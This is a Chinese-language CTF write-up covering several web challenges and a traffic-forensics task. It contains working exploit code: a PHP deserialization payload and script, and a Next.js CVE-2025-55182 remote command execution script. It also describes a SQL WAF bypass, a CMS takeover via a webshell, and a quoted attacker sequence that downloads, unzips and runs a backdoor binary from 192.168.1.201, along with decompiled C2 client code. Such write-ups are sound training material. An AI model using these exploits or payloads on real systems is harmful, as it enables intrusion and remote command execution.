Web hellogate 核心代码藏在response里面
1 2 3 4 5 6 7 8 class A { public $handle ; public function triggerMethod ( ) { echo "" . $this ->handle; } } class B { public $worker ; public $cmd ; public function __toString ( ) { return $this ->worker->result; } } class C { public $cmd ; public function __get ($name ) { echo file_get_contents ($this ->cmd); } } $raw = isset ($_POST ['data' ]) ? $_POST ['data' ] : '' ; header ('Content-Type: image/jpeg' ); readfile ("muzujijiji.jpg" ); highlight_file (__FILE__ ); $obj = unserialize ($_POST ['data' ]); $obj ->triggerMethod ();
典型 PHP 反序列化 Gadget Chain
对象嵌套关系
1 2 3 4 A └── handle → B └── worker → C └── cmd → 任意文件路径
payload
1 2 3 4 5 6 7 8 9 10 11 12 O:1 :"A" :1 :{ s:6 :"handle" ; O:1 :"B" :2 :{ s:6 :"worker" ; O:1 :"C" :1 :{ s:3 :"cmd" ; s:5 :"/flag" ; } s:3 :"cmd" ;N; } }
写一个py脚本读取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import requests import urllib.parse TARGET_URL = "https://eci-2ze9c1wnx8mygc6ubjas.cloudeci1.ichunqiu.com:80/" TARGET_FILE = "/flag" def build_payload (filepath: str ) -> str : return ( 'O:1:"A":1:{' 's:6:"handle";' 'O:1:"B":2:{' 's:6:"worker";' 'O:1:"C":1:{' 's:3:"cmd";' f's:{len (filepath)} :"{filepath} ";' '}' 's:3:"cmd";N;' '}' '}' ) def exploit (): payload = build_payload(TARGET_FILE) data = { "data" : payload } r = requests.post( TARGET_URL, data=data, timeout=10 , verify=False ) print ("[+] HTTP Status:" , r.status_code) print ("[+] Response:\n" ) print (r.text) if __name__ == "__main__" : exploit()
redjs 题目给了是 Next.js ,说是看看这个框架有什么问题,想到最近新爆的核弹级漏洞 CVE-2025-55182,上 github 找到了利用脚本,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 # # dependencies = ["requests" ] # import requestsimport sysimport jsonBASE_URL = sys.argv [1 ] if len (sys.argv ) > 1 else "http://localhost:3000" EXECUTABLE = sys.argv [2 ] if len (sys.argv ) > 2 else "id" crafted_chunk = { "then" : "$1:__proto__:then" , "status" : "resolved_model" , "reason" : -1 , "value" : '{"then": "$B0"}' , "_response" : { "_prefix" : f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});" , # If you don't need the command output, you can use this line instead: # "_prefix": f"process.mainModule.require(' child_process').execSync(' {EXECUTABLE }');", "_formData": { "get": "$1:constructor:constructor", }, }, } files = { "0": (None, json.dumps(crafted_chunk)), "1": (None, ' "$@0" '), } headers = {"Next-Action": "x"} res = requests.post(BASE_URL, files=files, headers=headers, timeout=10) print(res.status_code) print(res.text)
利用这个脚本直接执行命令拿到 flag:
AI_WAF 进入网页看到只有一个输入框,测试发现有 SQL 注入的 WAF ,因此想到这道题可能是绕过 SQL 的 WAF。
经过测试,发现 union select 等关键字被 WAF 了,但是 /!50400UNION / /!50400SELECT / 可以执行,因此利用此绕过方法拿 table_name、column_name、flag:
dedecms 看名字是个开源的 cms 框架,搜索找到的漏洞没有可以利用的。
先注册了一个账号,发现里面有另一个用户:
尝试用该用户登录 /dede/login.php 这个目录,发现用户名和密码都是同一个,可以登录。
用 Aa123456789:Aa123456789 这个登录凭据登录:
之后在 会员 模块发现可以提升用户的权限:
把刚才注册的用户提升为“超级管理员”,然后登录这个用户,发现可以上传文件:
上传一个php文件,然后通过一句话木马获得flag:
流量取证 参考笔记 第二届“长城杯”铁人三项赛 (防护赛)初赛WriteUP or https://lrhtony.cn/2024/12/17/ccbciscn/#wei-xie-jian-ce-yu-wang-luo-liu-liang-fen-xi
https://goodlunatic.github.io/posts/5422d65/
题目描述 近期发现公司网络出口出现了异常的通信,现需要通过分析出口流量包,对失陷服务器进行定位。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放,查找服务器上安装的后门木马,然后分析木马外联地址和通信密钥以及木马启动项位置。
分析过程 1. 攻击者爆破成功的后台密码是什么? 通过分析HTTP POST请求到/admin/login,发现大量登录尝试。找到frame 27966和28397成功登录(返回302重定向到/admin/panel):
1 username =admin&password=zxcvbnm123
答案:flag{zxcvbnm123}
2. 攻击者通过漏洞利用获取Flask应用的 SECRET_KEY 在frame 28820,攻击者使用SSTI payload {{ config }} 获取Flask配置,服务器返回:
1 SECRET_KEY: 'c6242 af0-6891-4510-8432 -e1cdf051f160'
答案:flag{c6242af0-6891-4510-8432-e1cdf051f160}
3. 攻击者植入的木马使用的加密算法密钥字符串
攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的密钥字符串(Key) ,结果提交形式:flag{xxxxxxxx}
通过多层解码frame 29180的SSTI payload(经过29层base64+zlib嵌套),得到最终的后门代码。该后门使用RC4加密算法,密钥为:
1 RC4_SECRET = b'v1p3r_5tr1k3_k3y'
后门通过404错误处理器注入,需要特定的X-Token-Auth头才能访问:3011aa21232beb7504432bfa90d32779
答案:flag{v1p3r_5tr1k3_k3y}
4. 二进制后门文件名称
攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径
攻击者通过RC4后门下载了shell.zip文件,解压后得到shell二进制文件,然后重命名为python3.13并执行。
执行的命令序列:
curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
mv /tmp/shell /tmp/python3.13
chmod +x /tmp/python3.13
/tmp/python3.13
答案:flag{python3.13}
5. 木马样本通信加密密钥(hex)
请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥(hex,小写字母),结果提交形式:flag{[0-9a-f]+}
1 flag{ac46fb610b313b4f32fc642d8834b456}
6. 攻击者获取的flag
请提交攻击者获取服务器中的flag。结果提交形式:flag{xxxx}
1 2 3 4 5 6 7 8 9 $ python3 /home/darstib/ctf_archive/workspace/SnackBackdoor /test/rev/decrypt_sm4_c2.py | head -220 [+] C2 flow : 192.168 .1 .200 :59814 -> 192.168 .1 .201 :58782 [+] bytes server->client : 188 ; client->server : 2504 [+] seed_be = 0x34952046 [+] chosen seed = 1176540468 (0x46209534 ) [+] rand () words : ['0x45891df7' , '0x0655e805' , '0x39b6a98d' , '0x702bbb7e' ] [+] key_mode = seed_le/be32 [+] sm4_key_hex = 45891df70655e80539b6a98d702bbb7e
连接 : 客户端连接到服务器 192.168.1.201:58782。
种子交换 : 服务器发送4字节的随机数据作为种子 。
主密钥生成 :
客户端对种子进行字节序变换,并用它初始化 srand()。
客户端连续调用 rand() 4次,生成一个128位的主密钥 (v8 数组)。这个主密钥是本次通信会话的基础,是客户端和服务器共享的秘密 。
轮密钥派生 (Key Schedule) :
生成解密轮密钥 : 调用 sub_13B4(v10, v8, 0)。该函数使用主密钥 v8,通过32轮的Feistel网络结构,并结合轮常数 dword_2140 和S-Box sub_1311,生成一套用于解密的128字节轮密钥 ,并将其(逆序)存入 v10。
生成加密轮密钥 : 调用 sub_13B4(v9, v8, 1)。该函数执行相同的算法,但是按正序 存储结果,生成一套用于加密的128字节轮密钥 ,存入 v9。
命令与控制循环 :
接收数据 : 客户端接收服务器发来的加密命令。
解密命令 : 客户端调用 decrypt 函数,该函数内部使用 解密轮密钥 v10 和 sub_15A9(实际的块解密函数)来解密命令。sub_15A9 内部执行了32轮的解密操作,每一轮都使用 v10 中的一个32位轮密钥。
执行命令 : 客户端通过 popen() 在本地执行解密后的命令。
加密响应 : 客户端将命令的输出结果进行PKCS#7填充,然后调用 decrypt 函数(此时传入参数 1u,使其行为变为加密),使用 加密轮密钥 v9 将结果加密。
发送响应 : 客户端将加密后的结果回传给服务器。
补充 main里面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 fd = socket(2 , 1 , 0 );if ( fd < 0 ) exit (1 ); memset(&s, 48 , sizeof(s)); s.sa_family = 2 ; *(_DWORD *)&s.sa_data[2 ] = inet_addr("192.168.1.201" ); *(_WORD *)s.sa_data = htons(58782 u); // 端口号if ( connect(fd, &s, 0 x10u) < 0 ) { close(fd); exit (1 ); }if ( (unsigned int)receive(fd, (__int64)&v7, 4 uLL, 0 ) != 4 ) { close(fd); exit (1 ); } seed = (v7 >> 8 ) & 0 xFF00 | (v7 << 8 ) & 0 xFF0000 | (v7 << 24 ) | HIBYTE(v7); srand(seed);for ( i = 0 ; i <= 3 ; ++i ) key[i] = rand(); gen_round_key((__int64)dec_round_key, (__int64)key, 0 ); gen_round_key((__int64)enc_round_key, (__int64)key, 1 );
通过端口58782定位tcp session,定位三次握手之后的第一条服务器发送的包,找到seed初始值 0x34952046 按照算法,初始的key是ac46fb610b313b4f32fc642d8834b456。 key数组实际上是: 0x61fb46ac 0x4f3b310b 0x2d64fc32 0x56b43488 解密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import structfrom ctypes import c_int32class GlibcRand : def __init__ (self ): self .state = [0 ] * 344 self .k = 0 def srand (self, seed ): self .state[0 ] = c_int32(seed).value for i in range (1 , 31 ): val = self .state[i - 1 ] self .state[i] = (16807 * self .state[i - 1 ]) % 2147483647 for i in range (31 , 34 ): self .state[i] = self .state[i - 31 ] self .k = 0 for i in range (34 , 344 ): self ._rand_internal() def _rand_internal (self ): self .state[self .k] = (self .state[(self .k - 31 ) % 34 ] + self .state[(self .k - 3 ) % 34 ]) & 0xFFFFFFFF result = (self .state[self .k] >> 1 ) & 0x7FFFFFFF self .k = (self .k + 1 ) % 34 return result def rand (self ): return self ._rand_internal()def main (): seed = 0x34952046 print (f"Using seed: {seed} (0x{seed:08x} )" ) rng = GlibcRand() rng.srand(seed) v8 = [] for i in range (4 ): v8.append(rng.rand()) print ("v8 values:" ) for val in v8: print (f"0x{val:08x} " ) key_bytes = struct.pack('<IIII' , *v8) key_hex = key_bytes.hex () print (f"Key (hex): {key_hex} " ) print (f"Flag: flag{{{key_hex} }}" )if __name__ == "__main__" : main()